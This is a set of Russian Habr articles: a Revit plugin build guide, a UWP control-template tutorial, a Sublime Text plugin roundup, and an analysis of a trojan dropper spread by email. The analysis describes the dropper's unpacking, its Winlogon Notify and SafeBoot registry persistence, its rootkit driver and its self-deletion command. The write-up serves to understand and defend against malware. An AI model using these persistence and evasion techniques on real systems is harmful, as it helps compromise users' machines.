клавишу Alt! Описанный вариант вполне хорош до момента добавления новой версии плагина или до момента добавления в проект новых файлов – все это становится очень муторным. А недавно я вдруг внезапно осознал как все это разрулить одним проектом и мы переходим ко второму способу ### Магия конфигураций Дочитав сюда, вы можете воскликнуть «А нафиг ты описывал первый способ, если статья сразу про второй?!». А описал я все, чтобы было яснее для чего нам нужны символы условной компиляции и в каких местах у нас отличаются проекты. И теперь нам становится яснее, какие именно различия проектов нам надо реализовать, оставив всего один проект. И чтобы все было более очевидным, мы не будем создавать нового проекта, а внесем изменения в наш текущий проект, созданный первым способом. Итак, в первую очередь удаляем из решения все проекты, кроме основного (содержащего непосредственно файлы). Т.е. проекты для версий 2016-2020. Открываем папку с решением и удаляем там папки этих проектов. У нас в решении остался один проект — **MySuperPluginForRevit\_2015**. Открываем его свойства и: 1. На вкладке «*Приложение*» из имени сборки удаляем суффикс **\_2015** (далее станет ясно зачем) 2. На вкладке «*Сборка*» удаляем символ условной компиляции **R2015** из соответствующего поля > Примечание: в последней версии Visual Studio имеется глюк – символы условной компиляции не выводятся в окне свойств проекта, хотя они имеются. Если у вас этот глюк наблюдается, то вам нужно удалять их вручную из файла .csproj. Однако, нам все-равно работать в нем, так что читаем дальше. Переименовываем проект в окне обозревателя решений, удалив суффикс **\_2015** и затем удаляем проект из решения. Это нужно для поддержания порядка и чувств перфекционистов! Открываем папку нашего решения, переименовываем там таким-же образом папку проекта и загружаем проект обратно в решение. Открываем диспетчер конфигураций. Нам конфигурация **Release** в принципе не нужна будет, поэтому удаляем её. Создаем новые конфигурации с уже привычными нам именами **R2015**, **R2016**, …, **R2020**. Обратите внимание, что не нужно копировать параметры из других конфигураций и не нужно создавать конфигурации проекта: ![image10](https://blog.modplus.org/images/Blog/Blog24_10.png) Идем в папку с проектом и открываем файл с расширением .csproj в удобном вам редакторе. Кстати, его можно открыть и в Visual Studio – надо выгрузить проект и затем в контекстном меню будет нужный пункт: ![image11](https://blog.modplus.org/images/Blog/Blog24_11.png) Редактировать в Visual Studio даже предпочтительней, так как редактор и выравнивает и подсказывает. В файле мы увидим элементы [PropertyGroup](https://docs.microsoft.com/ru-ru/visualstudio/msbuild/propertygroup-element-msbuild?view=vs-2019) – в самом верху идет общий, а следом идут с условиями. Эти элементы задают свойства проекта при его сборке. Первый элемент, который без условий, задает общие свойства, а элементы с условиями, соответственно, меняют некоторые свойства в зависимости от конфигураций. Переходим в общий (первый) элемент *PropertyGroup* и смотрим свойство **AssemblyName** – это имя сборки и оно у нас должно быть без суффикса **\_2015**. Если суффикс имеется, то удаляем его. Находим элемент с условием Он нам не нужен – удаляем его. Элемент с условием нужен будет для работы на этапе разработки и отладки кода. Вы можете менять его свойства под ваши нужды – задавать разные пути вывода, менять символы условной компиляции и т.п. Теперь создаем новые элементы *PropertyGroup* для наших конфигураций. В этих элементам нам достаточно задать четыре свойства: * **OutputPath** – выходная папка. Я задаю стандартное значение **bin\R20xx** * **DefineConstants** – символы условной компиляции. Следует задавать значение **TRACE;R20хх** * **TargetFrameworkVersion** – версия платформы. Для разных версий Revit API нужно задавать разные платформы. * **AssemblyName** – имя сборки (т.е. имя файла). Вы можете писать прям нужное имя сборки, но для универсальности я советую писать значение **$(AssemblyName)\_20хх**. Для этого мы ранее и удаляли суффикс из имени сборки Самая главная фишка всех этих элементов – их можно будет банально копировать в другие проекты вообще не изменяя. Далее в статье я приложу все содержимое файла .csproj. Хорошо, со свойствами проекта разобрались – это не сложно. Но что делать с подключаемыми библиотеками (NuGet-пакетами). Если посмотреть далее, мы увидим, что подключаемые библиотеки задаются элементах [ItemGroup](https://docs.microsoft.com/ru-ru/visualstudio/msbuild/itemgroup-element-msbuild?view=vs-2019). Но вот незадача – этот элемент неверно обрабатывает условия, как элемент *PropertyGroup*. Возможно это даже глюк Visual Studio, но если задать несколько элементов *ItemGroup* с условиями конфигураций, а внутри вставить разные ссылки на NuGet-пакеты, то при смене конфигурации к проекту подключаются все указанные пакеты. На помощь нам приходит элемент [Choose](https://docs.microsoft.com/ru-ru/visualstudio/msbuild/choose-element-msbuild?view=vs-2019), который работает по привычной нам логике **if-then-else**. Используя элемент *Choose*, задаем разные NuGet-пакеты для разных конфигураций: **Все содержимое csproj** ``` xml version="1.0" encoding="utf-8"? Debug AnyCPU {5AD738D6-4122-4E76-B865-BE7CE0F6B3EB} Library Properties MySuperPluginForRevit MySuperPluginForRevit v4.5 512 true true full false bin\Debug\ DEBUG;R2015 prompt 4 bin\R2015\ TRACE;R2015 v4.5 $(AssemblyName)\_2015 bin\R2016\ TRACE;R2016 v4.5 $(AssemblyName)\_2016 bin\R2017\ TRACE;R2017 v4.5.2 $(AssemblyName)\_2017 bin\R2018\ TRACE;R2018 v4.5.2 $(AssemblyName)\_2018 bin\R2019\ TRACE;R2019 v4.7 $(AssemblyName)\_2019 bin\R2020\ TRACE;R2020 v4.7 $(AssemblyName)\_2020 1.0.0 runtime 1.0.0 runtime 1.0.0 runtime 1.0.0 runtime 1.0.0 runtime 1.0.0 runtime ``` Обратите внимание, что в одном из условий я указал две конфигурации через **ИЛИ (Or)**. Таким образом будет подключаться нужный пакет при конфигурации **Debug**. И вот у нас почти все идеально. Загружаем обратно проект, включаем нужную нам конфигурацию, вызываем в контекстном меню решения (не проекта) пункт «*Восстановить все пакеты NuGet*» и видим как у нас меняются пакеты. ![image12](https://blog.modplus.org/images/Blog/Blog24_12.png) И вот на этом этапе я пришел в тупик – чтобы собрать сразу все конфигурации мы могли бы воспользоваться пакетной сборкой (меню «*Сборка*» -> «*Пакетная сборка*»), но при переключении конфигураций не происходит автоматического восстановления пакетов. И при сборке проекта тоже не происходит, хотя, по идее, должно. Решения этой проблемы стандартными средствами я так и не нашел. И скорее всего это тоже баг Visual Studio. Поэтому для пакетной сборки решено было использовать специальную систему автоматизированной сборки [Nuke](https://nuke.build/). На самом деле я этого не хотел, так как считаю это излишним в рамках разработки плагинов, но на данный момент другого решения я не вижу. А на вопрос «Почему именно Nuke?» ответ прост – используем на работе. Итак, переходим в папку нашего решения (не проекта), зажимаем клавишу **Shift** и кликаем правой кнопкой мышки по пустому месту в папке – в контекстном меню выбираем пункт «*Открыть окно PowerShell здесь*». ![image13](https://blog.modplus.org/images/Blog/Blog24_13.png) Если у вас не установлен *nuke*, то сначала пишите команду ``` dotnet tool install Nuke.GlobalTool –global ``` Теперь пишите команду **nuke** и вам будет предложено настроить *nuke* для текущего проекта. Не знаю как это правильнее написать на русском языке – на английском будет написано Could not find .nuke file. Do you want to setup a build? [y/n] Нажимаем клавишу Y и дальше будут непосредственные пункты настройки. Нам нужен самый простой вариант с использованием **MSBuild**, поэтому отвечаем как на скриншоте: ![image14](https://blog.modplus.org/images/Blog/Blog24_14.png) Перейдем в Visual Studio, которая нам предложит перезагрузить решение, так как в него добавлен новый проект. Перезагружаем решение и видим, что у нас появился проект **build** в котором нас интересует только один файл – *Build.cs* ![image15](https://blog.modplus.org/images/Blog/Blog24_15.png) Открываем этот файл и пишем скрипт по сборке проекта под все конфигурации. Ну или используем мой скрипт, который вы можете отредактировать под себя: ``` using System.IO; using Nuke.Common; using Nuke.Common.Execution; using Nuke.Common.ProjectModel; using Nuke.Common.Tools.MSBuild; using static Nuke.Common.Tools.MSBuild.MSBuildTasks; [CheckBuildProjectConfigurations] [UnsetVisualStudioEnvironmentVariables] class Build : NukeBuild { public static int Main () => Execute(x => x.Compile); [Solution] readonly Solution Solution; // If the solution name and the project (plugin) name are different, then indicate the project (plugin) name here string PluginName => Solution.Name; Target Compile => \_ => \_ .Executes(() => { var project = Solution.GetProject(PluginName); if (project == null) throw new FileNotFoundException("Not found!"); var build = new List(); foreach (var (\_, c) in project.Configurations) { var configuration = c.Split("|")[0]; if (configuration == "Debug" || build.Contains(configuration)) continue; Logger.Normal($"Configuration: {configuration}"); build.Add(configuration); MSBuild(\_ => \_ .SetProjectFile(project.Path) .SetConfiguration(configuration) .SetTargets("Restore")); MSBuild(\_ => \_ .SetProjectFile(project.Path) .SetConfiguration(configuration) .SetTargets("Rebuild")); } }); } ``` Возвращаемся в окно PowerShell и снова пишем команду **nuke** (можно писать команду **nuke** с указанием нужного *Target*. Но у нас один *Target*, который запускается по умолчанию). После нажатия клавиши Enter мы почувствуем себя настоящими хакерами, ибо как в кино будет происходить автоматическая сборка нашего проекта под разные конфигурации. Кстати, можно использовать PowerShell прям из Visual Studio (меню «*Вид*» -> «*Другие окна*» -> «*Консоль диспетчера пакетов*»), но там все будет черно-белым, что не очень удобно. На этом моя статья закончена. Уверен, что с вариантом для AutoCAD вы сможете разобраться сами. Надеюсь, что изложенный тут материал найдет своих «клиентов». Спасибо за внимание!
https://habr.com/ru/post/482308/
null
ru
null
# Расширение, изменение и создание элементов управления на платформе UWP. Часть 2 ![](https://habrastorage.org/r/w780q1/web/b52/425/530/b52425530728436a9657f2ad0e0d30be.jpg) Итак, мы снова рассказываем об элементах управления на платформе UWP. В [предыдущей части](https://habrahabr.ru/company/mobile_dimension/blog/330480/) мы познакомились со средствами расширения существующих элементов управления без вмешательства в их внутреннее устройство. Однако не всегда требуемого результата можно достичь малой кровью посредством присоединенных свойств (Attached Properties) или поведений (Behaviors). **Часть 2. Изменение существующих элементов управления** Для лучшего понимания того, в каком векторе будет развиваться дальнейшая дискуссия, приведем рисунок, иллюстрирующий видение того, какие «уровни» воздействия на элементы управления можно выделить. ![](https://habrastorage.org/r/w780q1/web/0d4/06d/c39/0d406dc397844595998bb90a4f19c1d3.jpg) *Уровни воздействия на элементы управления* Из него видно, что предыдущая часть касалась самого внешнего уровня. На нем мы оказываем влияние на элемент управления через вышеуказанные средства расширений, а также через переопределение стилей. Для полноты картины к этому уровню можно также отнести и указание значений свойств элементов управления, которые они предоставляют внешнему миру. Следующим уровнем воздействия является вмешательство в разметку шаблона существующего элемента управления. Для начала работы с разметкой нам, очевидно, необходимо её получить. С этим нам помогут два источника: • [Официальная документация](https://msdn.microsoft.com/en-us/library/windows/apps/mt299122.aspx) Microsoft. На данной странице представлен список элементов управления, поставляемых с UWP по каждому из которых можно получить шаблон разметки • Приложение Blend For Visual Studio, умеющее предоставлять шаблоны элементов управления ![](https://habrastorage.org/r/w1560/web/d96/ba5/7a3/d96ba57a31e94dd0828d3bd7cfeb3917.png) Создание копии шаблона элемента управления в Blend ![](https://habrastorage.org/r/w1560/web/d4e/d83/78c/d4ed8378c628461ba4fc805cb59360f0.png) Создание копии шаблона *Button* ![](https://habrastorage.org/r/w1560/web/c79/91c/b44/c7991cb445e848c8b34cd2dc526dbbbe.png) Копия шаблона *Button* Оба способа обладают своими преимуществами. • Документация: — более простой и быстрый доступ к шаблону, — явное обращение внимания на используемые им *ThemeResources* и состояния *VisualStateManager* • Blend: — можно использовать как песочницу для работы с нужным шаблоном, — легкий доступ к шаблонам дочерних объектов, — дополнительные функции IDE облегчающие работу при создании анимации Располагая шаблонами, мы можем приступать к работе с ними. По началу они могут вызывать легкую неразбериху объемами разметки, но в ней становится намного легче ориентироваться, если помнить, что шаблоны элементов управления UWP и большинства сторонних разработчиков придерживаются определенной негласной конвенции. **Общее строение шаблона элемента управление** Ознакомимся с ним на примере шаблона элемента управления *CheckBox*. ``` <Setter Property="Background" Value="Transparent" /> <Setter Property="Foreground" Value="{ThemeResource SystemControlForegroundBaseHighBrush}"/> <Setter Property="Padding" Value="8,5,0,0" /> <Setter Property="HorizontalAlignment" Value="Left" /> <Setter Property="VerticalAlignment" Value="Center" /> <Setter Property="HorizontalContentAlignment" Value="Left"/> <Setter Property="VerticalContentAlignment" Value="Top"/> <Setter Property="FontFamily" Value="{ThemeResource ContentControlThemeFontFamily}" /> <Setter Property="FontSize" Value="{ThemeResource ControlContentThemeFontSize}" /> <Setter Property="MinWidth" Value="120" /> <Setter Property="MinHeight" Value="32" /> <Setter Property="UseSystemFocusVisuals" Value="True" /> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="CheckBox"> <Grid Background="{TemplateBinding Background}" BorderBrush="{TemplateBinding BorderBrush}" BorderThickness="{TemplateBinding BorderThickness}"> <!--<VisualStateManager.VisualStateGroups> ... </VisualStateManager.VisualStateGroups>--> <Grid.ColumnDefinitions> <ColumnDefinition Width="20" /> <ColumnDefinition Width="\*" /> </Grid.ColumnDefinitions> <Grid VerticalAlignment="Top" Height="32"> <Rectangle x:Name="NormalRectangle" Fill="Transparent" Stroke="{ThemeResource SystemControlForegroundBaseMediumHighBrush}" StrokeThickness="{ThemeResource CheckBoxBorderThemeThickness}" UseLayoutRounding="False" Height="20" Width="20" /> <FontIcon x:Name="CheckGlyph" FontFamily="{ThemeResource SymbolThemeFontFamily}" Glyph="" FontSize="20" Foreground="{ThemeResource SystemControlHighlightAltChromeWhiteBrush}" Opacity="0" /> </Grid> <ContentPresenter x:Name="ContentPresenter" ContentTemplate="{TemplateBinding ContentTemplate}" ContentTransitions="{TemplateBinding ContentTransitions}" Content="{TemplateBinding Content}" Margin="{TemplateBinding Padding}" HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}" VerticalAlignment="{TemplateBinding VerticalContentAlignment}" Grid.Column="1" AutomationProperties.AccessibilityView="Raw" TextWrapping="Wrap" /> </Grid> </ControlTemplate> </Setter.Value> </Setter> ``` Копия шаблона *CheckBox* В данном шаблоне можем выделить несколько составляющих его частей: • Набор простых сеттеров вида . Они выполняют функцию указания значений по умолчанию свойств элемента управления. В частности, например, по умолчанию *CheckBox* не может иметь ширину меньшую, чем 120. На этом примере видно, что некоторые проблемы в процессе верстки могут идти из шаблона по умолчанию, который может «мешать» достижению требуемого результата. • Список простых сеттеров заканчивается сеттером *…* в котором и определяется каркас строения элемента управления. Этот каркас можно разбить на две основных части: 1. Непосредственно разметка шаблона элемента управления состоящая из других элементов управления c указанием значений свойств по умолчанию 2. Коллекция *VisualStateGroups* определяющая набор визуальных состояний элементов управления, в одном из которых он может находиться в конкретный момент ![](https://habrastorage.org/r/w1560/web/686/437/ae1/686437ae1ac84222bb617844b962ac8a.png) Список визуальных состояний *CheckBox* Ознакомившись со списком визуальных состояний элемента управления *CheckBox*, видим, что в нем определенно по 4 визуальных состояния для каждого из 3 значений свойства *IsChecked: true, false, null.* Так, например, переход в визуальное состояние *UncheckedPointerOver* устанавливает цвет обводки элемента *NormalRectangle* в значение *SystemControlHighlightBaseHighBrush*, берущееся из темы приложения. ``` ``` Пара визуальных состояний *CheckBox* Также обратим внимание, что визуальное состояние , указанного в коллекции, пусто. Причина этого в том, что механика работы менеджера визуальных состояний такова, что при переходе из состояния A в состояние B, те свойства, на которые оказывало влияние состояние A, но не оказывает состояние B, берут значения определенные как по умолчанию. Данная механика повторяет механику триггеров реализованную в WPF, но не вошедшую в UWP. Ознакомившись с общим строением шаблонов элементов управления, приступим к работе с ними для получения требуемых результатов. С шаблоном существующего элемента управления можно совершить следующие действия: • Удаление «лишних» элементов • Изменение требуемых элементов, уже определенных в нем • Добавление новых элементов. **Модификация шаблона посредством удаления составляющих его элементов** Частой задачей, с которой мы сталкивались — убрать у элемента управления *TextBox* кнопку очистки введенного текста. Представим одно из возможных решений данной задачи. Получив шаблон, находим в нем элемент который необходимо удалить – Кнопка на удаление Также важно не забыть удалить все остальные места в разметке, которые обращаются тем или иным образом к данному элементу. Так удалению подвергаются: и . Удаление последнего в общем позволяет нам и вовсе удалить весь . Определим получившемуся стилю *x:Key —*
https://habr.com/ru/post/332630/
null
ru
null
# Голая правда *Нудные технические подробности, без которых никак не обойтись, выделены знаком параграфа: ¶. Надеюсь, их можно пропускать без потери смысла изложения.* Часть первая. Высадка --------------------- Как это случается часто, в последнее время, новые вирусы приходят прямиком в почту, — быстро, удобно и совсем не надо напрягаться. Последний вирус прислал себя вот в таком вот письме: > From: «Shauna Hoover» > > To: > > Subject: Paris Hilton > > > > Good afternoon, buddy. > > > > I found nude Angelina Jolie! > > See in attachment! > > Bye. Поначалу сбивает, конечно, с толку, почему тема письма про П. Хилтон, а внутри — про А. Джоли, но… войдем все-же в положение сетевых злодеев! Работа у них нервная, бывает и ошибаются. Хорошо, что хоть вообще письма до адресатов доходят, постарались. Присоединенный файл назвается xjolie.scr.zip, и внутри содержит «как бы» скринсейвер xjolie.scr. Файл подозрительный: кода мало, всего три функции, данных тоже почти нет. На скринсейвер не тянет, и для вируса маловато. Онлайн сканнер касперского обозначает файл, как зараженный вирусом «Trojan.Win32.Pakes.cyu». > ¶ В самом начале выполнения натыкаемся на сюрприз: программа вызывает функцию NtDeleteValueKey (используя KiFastCallEntry, который, по сути есть инструкция sysenter), причем передает ей в качестве аргументов неинициализированные локальные переменные, в которых лежит всякий мусор. Поэтому NtDeleteValueKey в 99.9 процентах случаев должна возвращать STATUS\_INVALID\_HANDLE. Это значение (0xC0000008) используется как стартовое, из которого путем долгих вычислений (многочисленные «мусорные» арифметические операции), программа получает некий нужный ей адрес. Задача системного вызова здесь, видимо, — обмануть автоматические анализаторы и прочие антивирусы. > > Кстати, работающий в тот момент симантек даже и не пикнул, и упорно твердил «Clean»; так что в очередной раз уверяюсь, что надеяться на эвристический анализ в ближайшие лет двенадцать не стоит. Программа извлекает из своего тела блок данных и расшифровывает. После этого копирует его небольшими частями (видимо, чтобы не вызывать подозрений) в динмачески выделенную для этой цели область памяти. > ¶ Aдрес, по которому находятся зашифрованные данные изначально, ведет, казалось бы, куда-то непонятно куда. А на самом деле оказывается — в ресурсы приложения: > > ![](https://habrastorage.org/getpro/habr/olpictures/d79/b44/549/d79b44549980c6fbaca75580209ac78f.gif) > > После того, как программа расшифровала себя, делаем дамп: > ``` > .writemem unpacked0.dmp 00402088 L00009400 > ``` > , записывая расшифрованный файл на диск. Этот блок данных на самом деле также является полноценным исполняемым файлом, который мы будем называть **unpacked0**. Вот эта программа уже и есть настоящий дроппер, целью которого является установка вредоносного ПО на ЭВМ жертвы. Структура кода дроппера довольно понятна и проста, написан, по-видимому, на «С». Файл внутри содержит строку «d:\programs\siberia\install\objfre\_wxp\_x86\i386\Install.pdb». Вряд ли это досадное упущение. Может быть, автор пытается таким образом сообщить антивирусным компаниям, «рекомендованное производителем» официальное название вируса? ![](https://habrastorage.org/getpro/habr/olpictures/56b/194/66d/56b19466d60683db8938d4968f144a36.gif) Инсталляция ----------- **Проверка версии ОС.** Если честно, то удивил меня этот кусок кода. > ¶ В псевдокоде это выглядит так: > > `if Version.Major = 5 > >   if Version.Minor = 0 > >     is_win2k = 1 > >   else > >     is_win2k = 0 > > else > >   is_win2k = 0 > > is_win2k_temp = is_win2k` > > После чего идет еще три блока один в один: для XP и 2003 server. Зачем столько переменных и сколько сравнений? Короче, я эти танцы с бубном не понял. > > Программа проверяет текущую версию ОС, и заканчивает свою работу, если это не Windows 2000, XP или 2003 server. **Базовый адрес**. **unpacked0**, как и полагается правильному дестантнику, выясняет, где же он, в конце концов очутился. Для этого используется один самых простых методов поиска, основанный на том, что начало загруженного образа совпадает с началом страницы памяти. Ее размер умолчанию на наших обычных x86 компьютерах равна четырем килобайтам. Берется текущее место в коде, из него переходим на начало текущей страницы, ищем в начале сигнатуру MZ, если не найдено, переходим на предыдущую страницу. **Таблица импорта**. Так как **unpacked0** не может опираться на фиксированный базовый адрес, заданный при компиляции, то и таблица импорта должна быть обновлена. Для этого программа разбирает свой собственный заголовок (который находится в самом начале загруженного образа, а адрес его был найден на прошлом шаге), таким же способом разбирает заголовок библиотеки kernel32, находит ее таблцу экспорта, и методом простого сравнивания строк находит две основные функции: LoadLibraryA и GetProcAddress, используя их, загружает все остальные необходимые для его черного дела функции. **Извлечение драйвера**. Да, черт возьми, опять драйвер. Вирусы без драйвера, похоже, уже только лохи пишут. Как некоторые уже догадались, тело драйвера содержится в ресурсах у **unpacked0**. Кстати, файл с драйвером содержит строку «d:\programs\siberia\protect\objfre\_wxp\_x86\i386\protect.pdb». Тенденция однако… ![](https://habrastorage.org/getpro/habr/olpictures/fc2/a3e/c04/fc2a3ec049acee1ca8964d64057d441c.gif) Тело драйвера копируется в динамически выделенную область памяти, после чего проверяется его контрольная сумма. **Извлечение winnt32.dll**. А теперь, — внимание, — финт ушами. Из только что извлеченного драйвера **извлекается еще один компонент**. Из ресурсов, а как же. Теперь число компонент нашего вируса стало равно четырем: начальный файл xjolie, распакованный инстолер (unpacked0), драйвер и библиотека со скромным названием winnt32.dll. Общая схема распаковка приведена на рисунке (синий цвет — код, коричневый — ресурсы). ![Последовательная распаковка программ](https://habrastorage.org/getpro/habr/olpictures/865/797/1d3/8657971d3dd2eb38ed19f9a55b3937cc.gif) Название «winnt32.dll» не случайно выбрано из «страшных», даже продвинутые пользователи вряд ли решатся удалить такой файл. > ¶  > ``` > > kernel32!CreateFileA: > 7c801a24 8bff mov edi,edi > 0:000> da poi(esp+4) > 0012feac "C:\WINDOWS\System32\WinNt32.dll" > ``` > Если по каким-то причинам, создать такой файл не получается, то дроппер добавляет в конце имени подчеркивание. Этот файл с подчеркиваением будет переименован в нужный после перезагрузки — для этого вызывается функция MoveFileEx с флагом MOVEFILE\_DELAY\_UNTIL\_REBOOT. Это будет сделано опять же под системным аккаунтом и вероятность успеха очень велика. **Настройка winnt32.dll**. Собственно, использование библиотеки как основного файла троянца — ход интересный. Антивирусы и пользователи практически не обращают внимания на них, и в принципе, обоснованно: ведь не исполняемый файл, чего там. Но все-таки есть способы заставить систему загрузить библиотку и передать на нее управление. Способ, применяемый данным трояном, довольно оригинален: он использует механизм нотификаций процесса winlogon. Для того, чтобы включить этот механизм, дроппер добавляет в раздел HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify реестра следующие значения > DLLName: winnt32.dll > > StartShell: WLEventStartShell > > Impersonate: 0 > > Asynchronous: 0 (Список возможных параметров с описанием приводится здесь: [msdn.microsoft.com/en-us/library/aa379402.aspx](http://msdn.microsoft.com/en-us/library/aa379402.aspx)) Это вкратце означает, что Winlogon при логине пользователя обязан загрузить winnt32.dll, вызвать у нее функцию WLEventStartShell, синхронно, не используя имперсонализацию — под тем же аккаунтом, под которым работает сам winlogon, то есть SYSTEM. Для пользователя, который будет логиниться, это означает Страшные Вещи. На этом установка winnt32.dll закончена, и дроппер возвращается обратно к драйверу. **Установка драйвера**. Перво-наперво, дроппер пробует подключиться к уже установленному драйверу, используя имя устройства ""\\.\Prot2". Если подключиться не получилось, то сохраняет тело драйвера в файл со случайным именем вида %SystemRoot%\System32\drivers\Wwwdd.sys, где W — заглавная, w — строчные буквы, d — цифры. > `kernel32!CreateFileA: > > 7c801a24 8bff mov edi,edi > > 0:000> da poi(esp+4) > > 0012fc94 "C:\WINDOWS\System32\drivers\Hwo84.sys"` После этого драйвер регистрируется и запускается функциями API CreateService-StartService. Также дроппер добавляет нужные строки реестра в разделы > SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ > > SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\ > > SYSTEM\ControlSet002\Services\ > > SYSTEM\ControlSet001\Services\ То есть, при возврате к последней успешной конфигурации или загрузке в безопасном режиме драйвер все равно будет загружаться. Очень подло. После чего вызывает cmd.exe с командной строкой **/c del FILENAME >> NULL**, удаляя себя с компьютера пользователя. Вывод ----- Под личиной голой дивы скрывается не просто троян. Это целый программный комплекс из трех программ — инсталлятора, руткит-драйвера и динамической библиотеки режима пользователя. Техники, используемые для внедрения вредоносного кода, просты, действенны и не лишены оригинальности. Но, как всегда, замечу, что при запрещенной записи в %SYSTEMROOT%\system32, инсталлятор обламывается по полной. Во второй части рассмотрим вредоносный функционал десантированной библиотеки winnt32.dll и ее темного драйвера-защитника.
https://habr.com/ru/post/26847/
null
ru
null
# Лучшие плагины для Sublime Text #### [WebInspector](https://github.com/sokolovstas/SublimeWebInspector) Мощный инструмент для дебаггинга JavaScript, полноценный инспектор кода для Sublime. Фичи: установка брейкпоинтов прямо в редакторе, показ интерактивной консоли с кликабельными объектами, остановка с показом стек трейса и управление шагами дебаггера. Все это работает на ура! А еще есть [Fireplay](https://github.com/mozilla/fireplay-sublime) от Mozilla, который позволяет подключаться к Firefox Developer tools и максимально простой дебаггер [JSHint](https://github.com/uipoet/sublime-jshint). #### [Emmet](http://emmet.io/) Один из самых популярных плагинов для редакторов. Emmet, бывший Zen Coding, является также одним из самых значительных методов повышения продуктивности веб-разработчиков. После нажатия на табуляцию Emmet преобразует простые сокращения в объемные фрагменты кода для HTML и CSS. Хочется еще поделиться плагином [Hayaku](https://github.com/hayaku/hayaku) — коллекцию удобных аббревиатур для каскадных стилей. Видео с лучшими приемами от автора проекта: #### [Git](https://github.com/kemayo/sublime-text-git) Суть этого плагина понятна из названия — возможность работать с Git прямо в вашем любимом редакторе. Данный способ работы с Git позволит вам сэкономить массу времени. Во-первых: вам не придется постоянно переключаться между окнами Sublime и терминала. Во-вторых: есть грамотный автокомплит и вместо **git add -A**, достаточно написать **add**. В-третьих: существуют такие мелочи как Quick commit, который одной командой **quick** добавляет все изменения и коммитит их. Если от Git вам необходима возможность только забирать содержимое с удаленных репозиториев, то с этой задачей прекрасно справляется [Fetch](https://sublime.wbond.net/packages/Nettuts%2B%20Fetch). Существует еще [Glue](https://github.com/chrissimpkins/glue), который выводит внизу небольшое окошко, где можно писать на Shell. Благодаря этому из редактора теперь будет доступен не только Git… #### [GitGutter](https://github.com/jisaacks/GitGutter) и [Modific](https://github.com/gornostal/Modific) Данные плагины подсвечивают строки измененные последним коммитом, другими словами diff tools в режиме реального времени. [![](https://habrastorage.org/r/w1560/files/a36/a79/4ac/a36a794ac6e94a4ab726ff5604a54900.png)](https://github.com/jisaacks/GitGutter) #### [BracketHighlighter](https://sublime.wbond.net/packages/BracketHighlighter) Мега круто! Открытие и закрытие любого фрагмента в коде должно выглядеть именно таким образом. [![](https://habrastorage.org/r/w780q1/files/25a/cf6/e80/25acf6e800504042bbdcbeb8d75df1aa.jpg)](https://sublime.wbond.net/packages/BracketHighlighter) #### [EditorConfig](https://github.com/sindresorhus/editorconfig-sublime) [![](https://habrastorage.org/r/w1560/files/726/15c/0be/72615c0be66f4fe189e0063d7062543d.png)](https://github.com/sindresorhus/editorconfig-sublime) Суть этого плагина заключается в том, чтобы предоставить возможность разработчиком иметь единый формат настроек для всех редакторов/IDE и всех языков программирования. Файлы .editorconfig хранят в себе информацию о табуляции, ширине отступа, кодировке и прочих конфигурациях. **Пример файла** ``` # Корневой файл EditorConfig root = true # Для всех файлов используем unix-совместимые переносы строк [*] end_of_line = lf insert_final_newline = true # отступы в 4 пробела [*.py] indent_style = space indent_size = 4 # Используем табы для отступов (Не указываем размер) [*.js] indent_style = tab # Перезависываем настройку отступов для js файлов в папке lib [lib/**.js] indent_style = space indent_size = 2 # Только для файлов package.json or .travis.yml [{package.json,.travis.yml}] indent_style = space indent_size = 2 ``` #### [Sublimall](https://sublimall.org/) Замечательный плагин, который синхронизирует все конфигурации (настройки, плагины, рабочие файлы) между вашими Sublime Text редакторами. Все абсолютно бесплатно, требуется только создать аккаунт. Более простая альтернатива — [BufferScroll](https://github.com/titoBouzout/BufferScroll). [![](https://habrastorage.org/r/w1560/files/f3e/caf/297/f3ecaf297c214c6a88e276d3f0d8512e.png)](https://sublimall.org/) #### [AllAutocomplete](https://github.com/alienhard/SublimeAllAutocomplete) Классическое автодополнение в Sublime Text работает только с текущим файлом. AllAutocomplete осуществляет поиск по всем файлам открытым в текущем окне, что значительно упрощает процесс разработки. Также существует плагин [CodeIntel](https://github.com/SublimeCodeIntel/SublimeCodeIntel), который воплощает в себе возможности IDE и помимо умного автокомплита привносит в Sublime «Code Intelligence» для ряда языков: JavaScript, Mason, XBL, XUL, RHTML, SCSS, Python, HTML, Ruby, Python3, XML, Sass, XSLT, Django, HTML5, Perl, CSS, Twig, Less, Smarty, Node.js, Tcl, TemplateToolkit, PHP. [![](https://habrastorage.org/r/w1560/files/29f/015/c65/29f015c657cc41f599a0a3401d65fa2f.png)](https://github.com/alienhard/SublimeAllAutocomplete) #### [SublimeREPL](https://github.com/wuub/SublimeREPL) Вероятно, один из самых полезных плагинов для разработчиков. SublimeREPL позволяет прямо в редакторе интерпретировать целое множество языков: Clojure, CoffeeScript, F#, Groovy, Haskell, Lua, MozRepl, NodeJS, Python, R, Ruby, Scala, shell. [![](https://habrastorage.org/r/w1560/files/1d4/858/057/1d4858057c46496dbfb030662b4ce5c1.png)](https://github.com/wuub/SublimeREPL) #### [DocBlockr](https://github.com/spadgos/sublime-jsdocs) DocBlockr станет для вас эффективным помощником при документировании кода. После ввода **/\*\*** и нажатия на клавишу **Tab** плагин автоматически распарсит любую функцию и подготовит соответствующий шаблон. [![](https://habrastorage.org/r/w1560/files/30f/189/1ee/30f1891eed374507be4c3b4a9bcda0d0.png)](https://github.com/spadgos/sublime-jsdocs) #### [Floobits](https://floobits.com/) Потрясающее расширение для SublimeText, Vim, Emacs, IntelliJ IDEA, которое позволяет разработчикам совместно работать на кодом, причем из разных редакторов. [![](https://habrastorage.org/r/w780q1/files/e9e/b43/9ba/e9eb439ba0974e62bc577331ba3ad3ad.jpg)](https://floobits.com/) #### [AutoFileName](https://github.com/BoundInCode/AutoFileName) Автозаполнение путей к подключаемым файлам — очень удобно. Без лишних слов. [![](https://habrastorage.org/r/w780q1/files/74e/58a/b39/74e58ab39e134fea9ec98fada1c42dd8.jpg)](https://github.com/BoundInCode/AutoFileName) #### [ColorPicker](http://weslly.github.io/ColorPicker/) Обычно, когда нам требуется цветовая палитра мы привыкли использовать Photoshop или Gimp. Но полноценный color picker может быть прямо в окне вашего редактора — **Ctrl/Cmd + Shift + C**. А еще есть замечательные [GutterColor](https://github.com/ggordan/GutterColor) и [ColorHighlighter](https://github.com/Monnoroch/ColorHighlighter), которые упрощают ориентирование в цветовых кодах: 